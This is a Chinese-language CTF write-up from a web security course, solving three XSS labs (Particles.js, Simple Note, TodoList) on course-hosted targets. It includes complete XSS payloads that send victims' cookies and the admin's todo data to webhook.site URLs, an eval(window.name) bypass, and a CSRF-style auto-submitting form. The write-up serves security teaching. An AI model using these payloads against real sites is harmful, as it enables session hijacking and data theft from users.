[0x0b] Web II(程式安全)

lecture: https://youtu.be/r-WGQuEpRVk
slide: https://drive.google.com/file/d/1wRNMRO6JzA3taST9dvC_jmf7aOm-K66T/view?usp=sharing

[LAB] Particles.js

我們可以提供題目 ?config=hwllo

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

可以看到會被 reflect 到網頁上

這邊發現會擋單引號
所以不能直接結束他的單引號
不過這裡可以使用反斜線來跳脫他的單引號
然後再把 <script> 結束掉
然後在開一個 <script> 來放自己的 payload

只要把 config 設成以下就可以把 victimcookie 帶到我這邊

config
1;alert();</script>
<script>
location=
`https://webhook.site/78a14f9e-5d69-4ab1-8836-3040ba14bddb?`
+document.cookie
</script>\
植入後的樣子

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

所以只要把下面這個送給 admin 就可以偷走他的 cookie
http://particles.ctf.zoolab.org/?config=1%3Balert()%3B<%2Fscript><script>location%3D`https%3A%2F%2Fwebhook.site%2F78a14f9e-5d69-4ab1-8836-3040ba14bddb%3F`%2Bdocument.cookie<%2Fscript>\

送 payload 給 admin

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

[LAB] Simple Note

進到題目發現是個可以寫 Note 的地方

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

寫一個 Note 送出後會跑到另一個頁面
那個頁面會從前端去 fetch 我們寫的那個 Note

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

可以看到上面 :24title 是我們可控的
而且他用的是危險的 innerHTML
可以使用 <img src=x onerror='alert()'> 來達成 XSS
不過他的 title 後端有限制 40 個字

字數限制

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

這邊就利用 eval(window.name) 來繞
這邊先讓 victim 到自己可控的網頁把 window.name 控制成偷餅乾的 payload
然後把 victim 導向有我們 eval(window.name) XSSnote
這樣就會執行到我們的 payload

這邊可以使用上一題的 XSS 來控制 window.name 及導向 note

利用上一題的 XSS 控制 window.name

https://particles.ctf.zoolab.org/?config=1%3Balert()%3B<%2Fscript><script>window.name%3D"location%3D`https%3A%2F%2Fwebhook.site%2F78a14f9e-5d69-4ab1-8836-3040ba14bddb%3F`%2Bdocument.cookie"%3Blocation%3D`http%3A%2F%2Fnote.ctf.zoolab.org%2Fnote%2F7c1082165ea6aefc7673d16d`<%2Fscript>\

利用自己的網頁控制 window.name
https://ching367436.github.io/hserver/h.html?
url=https://note.ctf.zoolab.org/note/7c1082165ea6aefc7673d16d&
name=
location=`https://example.com/?${document.cookie}`

Exploitation

Step1

製作一個內容有這個的 note

<img src=x onerror='eval(window.name)'>
Step2 控制 window.name

先把 victime 帶到我們可控的地方
在那個地方把 window.name 設成我們要執行的 script
也就是偷 cookie

window.name
// send cookie to example.com
location=
`https://example.com/?${document.cookie}`
Step3

victim 重新導向到 Step1 設好的 note 裡面
這樣子就會執行 eval(window.name)
也就是 Step2 的偷 cookiescript

Step4

最後只需要把上面做好的 Exploit 送給 admin 就好了

送 payload 給 admin
POST /report HTTP/1.1
Host: edu-ctf.zoolab.org:10204
Content-Length: 259
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://edu-ctf.zoolab.org:10204
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://edu-ctf.zoolab.org:10204/note/7c1082165ea6aefc7673d16d
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ofmvir92rth2rumh20s133dog7
Connection: close

url=https%3a%2f%2fching367436.github.io%2fhserver%2fh.html%3furl%3dhttp%3a%2f%2fedu-ctf.zoolab.org%3a10204%2fnote%2f7c1082165ea6aefc7673d16d%26name%3dlocation%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%24%7bdocument.cookie%7d%60
收到 admin 的 flag

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

[HW] TodoList

進來題目看到一個登入註冊頁面
這個網站使用了 Express nginx

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

來檢查一下 headers

< HTTP/1.1 200 OK < Server: nginx/1.18.0 (Ubuntu) < Date: Fri, 30 Dec 2022 00:32:04 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 1774 < Connection: keep-alive < X-Powered-By: Express < ETag: W/"6ee-bnJV5par9WDmoo5lLhS2htEFrgk" < <!DOCTYPE html> <html lang="en"> <head> <title>Simple Note</title> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-31d28cf6966b06f2bab2d9bfeca941ea' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"> ... <script nonce="31d28cf6966b06f2bab2d9bfeca941ea"> var action = "Login"; var switchAction = function(e){ action = e.target.innerText; btn.innerText = action; } kbdLogin.onclick = kbdRegister.onclick = switchAction; btn.onclick = function(e){ fetch(`/api/${action.toLowerCase()}`,{ method: "POST", body: JSON.stringify({username:username.value, password:password.value}) }).then(r => r.json()).then(e => { if (e.error) alert(e.error); if (e.success) location = '/todo'; }) } </script> </body> </html>

:14 可以看到有 CSP dompurify nonce
感覺是個前端題

這邊知道是 Express
不過還是試一下 .git robots.txt
都沒東西 而且連 404 頁面都有 CSP

< HTTP/1.1 404 Not Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Fri, 30 Dec 2022 00:37:36 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 143
< Connection: keep-alive
< X-Powered-By: Express
< Content-Security-Policy: default-src 'none'
< X-Content-Type-Options: nosniff
< 
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /.git</pre>
</body>
</html>

看到這邊回去看看題目要我們做什麼

結果發現有 source code
我們要做的事情是拿到 adminflag

就先來看看 source code

source

docker-compose.yml

version: '3.7' services: bot: build: context: ./bot restart: always environment: - PORT=8080 - SITE=https://todo.ctf.zoolab.org/ # Admin will login to https://todo.ctf.zoolab.org, but for local test, you should set this to something like https://localhost:443 - REPORT_HOST=web - ADMIN_PASSWORD=dummypassword web: build: context: ./web environment: - BOT_HOST=bot - BOT_PORT=8080 - FLAG=FLAG{dummyflag} - ADMIN_PASSWORD=dummypassword restart: always ports: - "18443:443"

看到有分成 bot web 兩個部分

來看 web

web/src/package.json

{ "dependencies": { "ejs": "^3.0.1", "express": "^4.18.2", "express-session": "^1.17.3", "https": "^1.0.0", "xfetch-js": "^0.5.0" }, "scripts": { "start": "node app.js" } }

看到 :10
進入 app.js

web/src/app.js

看到架構
決定順著我們進入的網頁順序看

來看 app.get("/api/login")

:91 看到他用了叫做 db 的東西
來看看那是什麼

原來那是 jsMap
我們還看到了 :27 會把 flag 放到 db.get("admin").todo[0].text 裡面

回來 app.get("/api/login")
:88,89username password 很嚴格

:95 我們知道 req.session.username 有被設的話就是登入成功
也許會有什麼地方我們可以控制這個
或是有哪邊沒有檢查到 req.session.username 的功能
總共有 8 個地方出現了 req.session.username

目前看來都有把該處理的地方處理

接著來看看前端的部分

web/src/views/todo.ejs
<!DOCTYPE html> <html lang="en"> <head> <title>Note</title> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"> <link rel="stylesheet" href="https://cdn.simplecss.org/simple.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"></script> </head> <body> <main> <h1>TODO List</h1> <hr> <article id="container"> </article> <input type="text" id="inputNode" style="width: 100%"> <input type="hidden" id="csrfToken" value="<%= csrfToken %>"> <button id="logout">Logout</button> <button id="report">Report</button> </main> <script nonce="<%= nonce %>"> var todoList = []; async function updateTodoList(){ todoList = await fetch('/api/todo').then(r=>r.json()); render(); } function saveTodoList(e){ let id = e.target.id; todoList[id].checked = 1; fetch('/api/todo', {method: 'POST', body: JSON.stringify({todo: todoList, csrfToken: csrfToken.value})}); } function render(){ container.innerHTML = ''; for(let i = 0; i < todoList.length; i++){ let item = todoList[i]; let tmpNode = document.createElement("label"); tmpNode.innerHTML = `<input type="checkbox">&nbsp;<code></code>`; tmpNode.firstChild.checked = item.checked; tmpNode.firstChild.id = i; tmpNode.firstChild.onchange = saveTodoList; tmpNode.lastChild.innerHTML = DOMPurify.sanitize(item.text); container.appendChild(tmpNode); } } inputNode.onkeypress = function(e){ if (e.key === 'Enter') { todoList.push({checked: 0, text: inputNode.value}); fetch('/api/todo', {method: 'POST', body: JSON.stringify({todo: todoList, csrfToken: csrfToken.value})}).then(()=>render()); inputNode.value = ''; } }; logout.onclick = ()=>{ location = '/api/logout'; }; report.onclick = function(e){ let url = prompt("URL:"); fetch('/api/report', { method: 'POST', body: JSON.stringify({ url, csrfToken: csrfToken.value }) }).then(r=>r.text()).then(t=>alert(t)); } window.onload = updateTodoList; setInterval(updateTodoList, 500); </script> </body> </html>

看到 :31,43renderinnerHTML 出現
其中我們能控制的的部分在 :40
只是會被 DOMPurify.sanitize

tmpNode.lastChild.innerHTML = DOMPurify.sanitize(item.text);

而且 :5 還有 CSP
CSP Evaluator 看看

script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js

這裡有 dompurify 的可用 tag
https://github.com/cure53/DOMPurify/blob/1.0.8/src/tags.js

這邊想了 <base> 會被過濾
不過可以植入 <style> 拿來偷資料

或是哪邊有 DOM Clobbering 之類的

XSS

app.post("/api/report") 有 XSS,只是是 POST 的,而且還要 CSRF token。

CSRF token 由以下方式構成,而由於是跑在 Docker 上,所以大家的 req.ip 都會一樣,csrfToken 是固定的值。可以看出 csrfToken 可以重複利用。

salt = crypto.randomBytes(4).toString('hex');
csrfToken = salt + crypto.createHash('md5').update(salt + req.ip + csrfSecret, 'utf8').digest('hex')

依照上面的觀察,可以構造出以下自動 XSS 的 payload,只要把 csrfToken 置換成任意合法的 csrfToken 就可以自由 XSS 了。

https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json

<form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain">
    <input name='
        {
            "url": "https://www.google.com/<script>alert(1)</script>",
            "csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a", 
    "ignore_me":"' value='test"}' type='hidden'>
</form>

<script>
    document.forms[0].submit();
</script>

以下是最終的 payload:

https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json

<form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain">
    <input name=' { "url": "https://www.google.com/<script> (async ()=> { let res = await fetch(`/api/todo`).then(r=>r.text()); location=`https://webhook.site/cea0effe-97b0-48a6-9ec3-cdd8fc904d57?`+res; })(); </script>", "csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a", 
    "ignore_me":"' value='test"}' type='hidden'>
</form>

<script>
    document.forms[0].submit();
</script>